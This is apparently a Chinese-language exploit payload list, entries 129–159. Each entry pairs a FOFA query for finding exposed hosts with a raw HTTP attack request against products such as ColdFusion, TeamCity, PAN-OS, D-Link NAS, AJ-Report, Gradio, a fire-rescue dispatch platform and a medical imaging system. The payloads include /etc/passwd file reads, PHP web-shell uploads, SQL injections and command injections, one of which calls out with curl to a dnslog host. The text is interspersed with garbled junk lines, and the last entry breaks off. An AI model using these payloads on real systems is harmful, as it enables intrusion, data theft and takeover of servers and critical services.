3 ~' E/ m4 ^7 @6 W" m' VPAYLOAD

$ I2 F6 f% ?3 P  O7 c% J( m129. Adobe ColdFusion 任意文件读取
- V4 \4 r8 e' n8 d: t& dCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
4 O( V( R  F% a2 g8 K9 nGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
" I6 s  l+ i, q- m1 s" g% v. p' gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
/ y& J7 E6 i& _7 {) K+ ]Accept-Encoding: gzip, deflate
Connection: close
& a$ Z- h* ?9 A6 H7 n; e% H4 r

第二步，读取/etc/passwd文件
) q2 J$ N1 ?: ^% x* `, bGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
6 ~1 K- I0 q  B' b; `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
. |. x. m( P5 j" m! MConnection: close
( z- W7 l# \3 Auuid: 85f60018-a654-4410-a783-f81cbd5000b9
; j& X. X! O/ u+ Y& m9 d9 |6 n

7 O/ j/ S  J( @: [* }  o/ {* J130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
) I0 l) A- j3 V( \& oPOST /admin/users/upavatar.html HTTP/1.1
% y4 R8 u  z% i5 P+ L3 f8 ?Host: 127.0.0.1
/ l2 A' ^0 y5 q, ^7 OAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
. L& q5 G5 f9 I( T! l; }3 SUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
5 d" x5 X5 [+ u. UContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
' b, D$ J  X7 C) y( j6 @Accept-Encoding: gzip, deflate
5 b% z8 c; Z' c: t/ ]5 U. s, qAccept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close

7 u3 m, s3 ?: x; \* [------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
8 L' E- `. H) S, m$ x9 A7 r
<?php phpinfo();@eval($_POST['sec']);?>
/ J/ L4 I' g5 G------WebKitFormBoundary3OCVBiwBVsNuB2kR--

% M$ p1 p9 X- d6 c
131. Mini-Tmall <=20231017 SQL注入
% j7 q: u9 u5 Z3 H. k% Y) T. tFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

4 u, z6 K  P$ j% [132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
6 V2 r/ y# k! ^6 pFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
! c5 _9 I& j6 x* TAccept: */*
) e2 R3 t; X2 [! Q# ZContent-Type: application/json
Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
! h/ X6 \+ B* c5 _) J
1 s4 N5 D9 Z) d0 E( h/ A5 U
CVE-2024-27199
/res/../admin/diagnostic.jsp
7 X" M' o* C+ z9 d& V4 X/.well-known/acme-challenge/../../admin/diagnostic.jsp
7 `* E# {8 _1 l* Z, l2 X/update/../admin/diagnostic.jsp


CVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
: m0 v: o8 G( q8 ^4 B3 gFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
) h) y1 ~1 {; p$ c: u! |  |$ nHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
# m! {, }0 N; x" d8 {/ N8 g# UContent-Disposition: form-data; name="file"; filename="rce.php"
: W3 q- U1 O) N. |Content-Type: application/octet-stream

* t: ^: M6 }- t<?php system("cat /etc/passwd");unlink(__FILE__);?>
( j* G( [" J9 z( O% }7 {  v) a------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
# [  @' g* r5 ]  L) m, D

' e0 [: M1 F: ?, j- o7 K! E" @7 J
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
1 r9 M' e9 x. h% ~Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
& y" X+ L9 O+ U* x: a2 vPOST /protocol/index.php HTTP/1.1
4 k6 n* v5 H" v% d3 MHost: x.x.x.x
9 v( S- D5 }; aCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
" [1 A7 z* J+ N0 J* kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
+ m( ^! ]8 [( B; ^$ b: NAccept: */*
/ o; e7 V0 Q( h  oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 W! q( l! {  H& U, t  e0 f# W5 b  R. qAccept-Encoding: gzip, deflate
. ^5 Z2 Q4 H' C4 D- R/ }: y5 ?1 M1 B8 @Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
# l; ?4 b7 W5 H5 m# C; @; u8 K* kTe: trailers
6 f4 g" H2 l& J3 U" `Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
4 F0 c9 t. e( k$ F: M
& J  ?/ v0 X* mjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


0 d: R8 [  n% J9 @) z135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
6 {# t. `0 B% M! i6 K) L1 _CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
% h) L) `* v% V- N% V& z/ GFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
1 [3 Y' U; F7 v; x' \Host: x.x.x.x
/ O5 z% q% c2 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ T6 i! F0 h- A. t3 HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% o9 K" R" n) r, ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


8 h: y% d2 O' y. }136. NextChat cors SSRF
; I& z# i: }- L# M1 N$ @) O% aCVE-2023-49785
0 B% d/ y: ?% B; O% s+ S' f$ e2 NFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
! W) k) c7 e( f/ }User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
6 T$ `8 ?9 @) Z6 B6 u6 y: n- T  gAccept-Language: en
Accept-Encoding: gzip

( N' G9 Y9 ~  _$ f
* W. H( x; E! l  `$ D137. 福建科立迅通信指挥调度平台down_file.php sql注入
: d* }, E' e) T+ P8 n9 H' C& tCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
' q4 C7 ?' }3 g# @2 ~3 J, ^Host: x.x.x.x
6 X5 X  w8 n$ m1 b" nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 W( m* f( e5 r" w3 ~Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1

# H  ?/ D6 w9 Z$ |( e
  m  C+ B- _% Z% a* @- i9 _, a138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
0 b0 E' l! q0 M" A$ q% o, G: O5 W0 wCVE-2024-2621
7 ^0 j: b6 z: u8 c8 ZFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
( W; F4 J. k4 BGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
8 g. x8 G4 u+ h0 q! W# O: n8 [$ @  [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 K4 x) u) H/ C" g1 r$ s8 ^! ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
, x" _3 p5 k) R$ ^0 B% uConnection: close
Upgrade-Insecure-Requests: 1


- X, x$ I# q! v0 ~6 `139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
% a+ M3 |2 H9 U( e2 c$ H6 o. \FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 S4 c$ s$ h0 f" P2 O# xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# `# d3 [9 z3 z& a/ lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
$ `& R0 w" s( U, ^* `, [5 jUpgrade-Insecure-Requests: 1
% B& b" k' z0 `2 _& p; I) ?  @# T

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
: _9 |8 `. o& _: }* J) qCVE-2024-2566
2 S0 B$ M) c2 C0 T* b. [1 o3 H  pFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
, U* V  A, \9 @$ w: O/ a3 J: wGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
& W! F/ @$ d9 v1 R9 t. c% i8 p! [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
' J/ ]5 s! d- a+ u2 SCookie: authcode=h8g9
0 G, u7 Z8 r9 I' L  r# gUpgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
, H2 R) w% N9 O! S! x9 ]* DHost: your-ip
1 _; f. F" u9 a4 ^7 RUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
% m/ T: V, K; q/ fContent-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


142. CMSV6车辆监控平台系统中存在弱密码
7 J! d& J$ K9 c; M+ Z& YCVE-2024-29666
FOFA：body="/808gps/"
admin/admin
' X) ~/ T! G$ J, Z. o143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
  q' x* s1 Q/ D2 R2 \$ ]- NFOFA：title='AP setup' && header='netis'
PAYLOAD
0 V% T' [& T4 f1 h4 c
144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
- A% r3 g. `$ \% `. mGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
; c* E$ @6 ^7 K3 x) M6 oUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
4 D9 _4 i( q0 _# ?8 Y. qConnection: close
) k) E8 r" s" k5 r+ lAccept: */*
% H/ [. l; a2 F" n; U4 @Accept-Language: en
4 y( P* g, M6 p9 Z; V5 }$ NAccept-Encoding: gzip
; l7 C& \* j" y+ d6 L. t; {- r# {/ x

145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
" ?% Q8 R1 {; R. G. O7 THost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
( P: E/ i: l" s( _& j% ~4 T5 P- f
3 ?! W3 h# `: {' @7 Q7 j
146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
" `3 @; E% s& y5 H7 l6 lFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
7 M) w6 L7 t3 @0 mAccept-Charset: utf-8
! X: a) B7 ^( U5 sAccept-Encoding: gzip, deflate
Connection: close
  X5 g: ^2 F* J. o% V3 x
+ u3 |  N6 f% q& U  p7 p3 E
5 \4 v" L& z8 U( |147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close

; o  s% k- ~# i5 f- G
7 S. Y5 m: x/ g; ?148. CrushFTP 认证绕过模板注入
7 ^. u- y, r* ^( F+ W; ]. OCVE-2024-4040
FOFA：body="CrushFTP"
# m+ s! Z! H9 z, ]) [+ r5 N' N3 ~PAYLOAD

2 {$ \& |1 E- s, r, _: R149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

+ f( D9 y3 i9 _& u9 l% r. sPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
5 @5 s! s. O1 x( oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
7 S! e9 q: C; j! oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
5 P: F  k- \8 Z" [& PConnection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
9 c: a6 U7 W/ u8 WFOFA：title="AJ-Report"
0 P# |1 Z, g% D: k. A! IPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
/ w3 z) t- |3 T' m: jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
1 r/ I1 @, ^: r3 `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 G8 n, h8 J' U; M: r, o" }* m1 aAccept-Encoding: gzip, deflate, br
# r0 g, R$ x* R  AAccept-Language: zh-CN,zh;q=0.9
( a& N# G7 u' S) n7 s6 A! K5 ?Content-Type: application/json;charset=UTF-8
2 X% F! R* X9 _- f4 @/ ?, ^2 XConnection: close
Content-Length: 339
  k- R5 ]5 e/ a- z2 f
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
. w4 e- P# Z$ s1 h  z: Y/ xAccept-Encoding: gzip


2 h3 Y) v, Y5 c- L2 d: l152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
' C- @# g* G  ]5 ~6 U. i$ DLoadMaster<=7.2.54.8 (LTSF)
' p+ k# w; o+ `  i7 T* mLoadMaster <= 7.2.48.10 (LTS)
7 N' a+ w6 ~% k3 tFOFA：body="LoadMaster"
& k5 C. Z  W, J% M" Q' NJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
7 E$ Q, e  W/ I( i- S% h# GHost: x.x.x.x
8 Q3 j$ H$ I1 `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
1 S9 q8 f' e9 G' {% R4 NAccept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
4 b" \6 e$ c6 L. r+ _- VAccept-Encoding: gzip
# e% l  A& i$ e) ?8 q+ `( |
1 U. K$ n: r+ z8 a! `% p
# D% D2 N" ~; C) Z0 D: F153. gradio任意文件读取
- s0 z5 y4 E; {8 O7 eCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config
5 f/ Y* K. f6 e/ l" V
# l( `# [! U) [
第二步，将/etc/passwd的内容写入到一个临时文件
! H0 S% i; \' i" A, ]POST /component_server HTTP/1.1
+ ?( |! ]- u& q2 oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
- J& |8 t; p: N  \* y0 u; fContent-Length: 115
* K: _& _1 [! e: x- eContent-Type: application/json
+ ^' D$ C& ]6 H7 Q; o0 h9 YAccept-Encoding: gzip

. m+ A# _+ `, b{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
* n  S* u' ~% ]- r! g' {1 s- b

& ?+ p: y* _) M第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
( V5 _; }! m) G# g, ?
/ y1 ^$ L& t, H! Y
154. 天维尔消防救援作战调度平台 SQL注入
' Q- a0 P7 K, [( l' aCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
( _* A$ W/ L: O* G# j7 O" BPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
- B. O" ~3 ~* ?Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
, y! F" f3 _% I1 j' ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
$ H" _* ?5 S- k6 h5 @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
; ?- D- f4 R. j' [$ t2 nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
# n/ R3 `' v; E" i. BConnection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
9 f! N0 \; {5 H, [( ]6 @CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
6 Q6 g& m% s6 CPOST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
7 M6 n3 I7 r( o8 Y) R$ P. tContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
* B0 b$ e3 K1 j, ^5 zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
- C! U# |' ^# H0 ]' QX-Requested-With: XMLHttpRequest

# D- E2 R9 [# u$ p' a5 f-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

0 d: Y; `) ~  ]% ~2 \<?php phpinfo();unlink(__FILE__);?>
) E/ O% {+ g, d* Q' N# `2 A-----------------------------qttl7vemrsold314zg0f--
6 A' N# C, R& e: G# y. t
- T3 C2 ~; v* s( e- w
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
. |5 n5 R; Q: B3 U! o- t( QCVE-2024-3721
) a( m2 j2 j* I5 u6 bFOFA："Location: /login.rsp"
/ V. ]% L8 S& c- @+ N; B2 S·TBK DVR-4104
·TBK DVR-4216
0 f( a4 P  P; h/ Kcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

& c% d; Z# a8 t. C
' I+ T5 q0 ^: ]9 B) r) M. B* KPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
; X4 S) A5 c2 gCookie: uid=1
Accept-Encoding: gzip
- R1 X  U" I: q4 |

157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
, c; _! l' h; O/ JContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
" Y8 @; W4 e7 D, n, z) w# _% N+ pContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
0 O/ D4 \: V, q+ x5 dUpgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
1 I6 g5 r7 w; j) o. T0 j! L& tContent-Type: application/octet-stream

0 A+ ?. S7 W4 k" q. s9 xnyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
/ l8 e* o. `% D% e+ P& EContent-Disposition: form-data; name="key"

9 n( `  g# y, n% }null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

* P! H. A. J7 P: H% ~4 jnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
8 y' R! m" x; f8 j+ O/ I5 j( B
, n% ~7 O6 ]2 s% ?) h, `null
------WebKitFormBoundary1imovELzPsfzp5dN
( C; `+ p2 W# c4 qContent-Disposition: form-data; name="filetitile"
, H  N% _  o3 u" t
null
) V* M& g" C% o) m0 S$ h------WebKitFormBoundary1imovELzPsfzp5dN
) p! Y- {/ `7 C4 C! v; b- jContent-Disposition: form-data; name="filefolder"

null
------WebKitFormBoundary1imovELzPsfzp5dN--


http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
& P/ t1 n7 G0 B2 ?! ^
158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
; T8 w  @4 Z5 w3 IPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
4 Y- S- b: q! e0 J% ?+ A( iContent-Type: application/x-www-form-urlencoded
* y  j: Q+ [' v# g
object=displayregion&contenthistid=x\'&previewid=1

+ Y2 `; B0 a5 Q6 ], j
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
8 ~4 h- |. Y1 _8 jPOST /webservices/WebJobUpload.asmx HTTP/1.1
. f, b. w( P+ A0 G3 F$ p- I7 ]Host: x.x.x.x
' ?4 y7 B' ~/ u$ \  BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
: Q/ K( }) S0 ]) F  e4 XContent-Length: 1080
Accept-Encoding: gzip, deflate
* V9 ^4 W# P* _6 G' cConnection: close
8 h$ T, L& W/ `! A, pContent-Type: text/xml; charset=utf-8
, ~1 e0 C& z" N; s- L3 N4 gSoapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
1 d# b2 u; n5 J9 H/ M! z- B<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
, K' k! c# p. N& [  F. Q2 c<jobUpload xmlns="http://rainier">
, ]* }! x( F+ t( |" J) M- Y<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
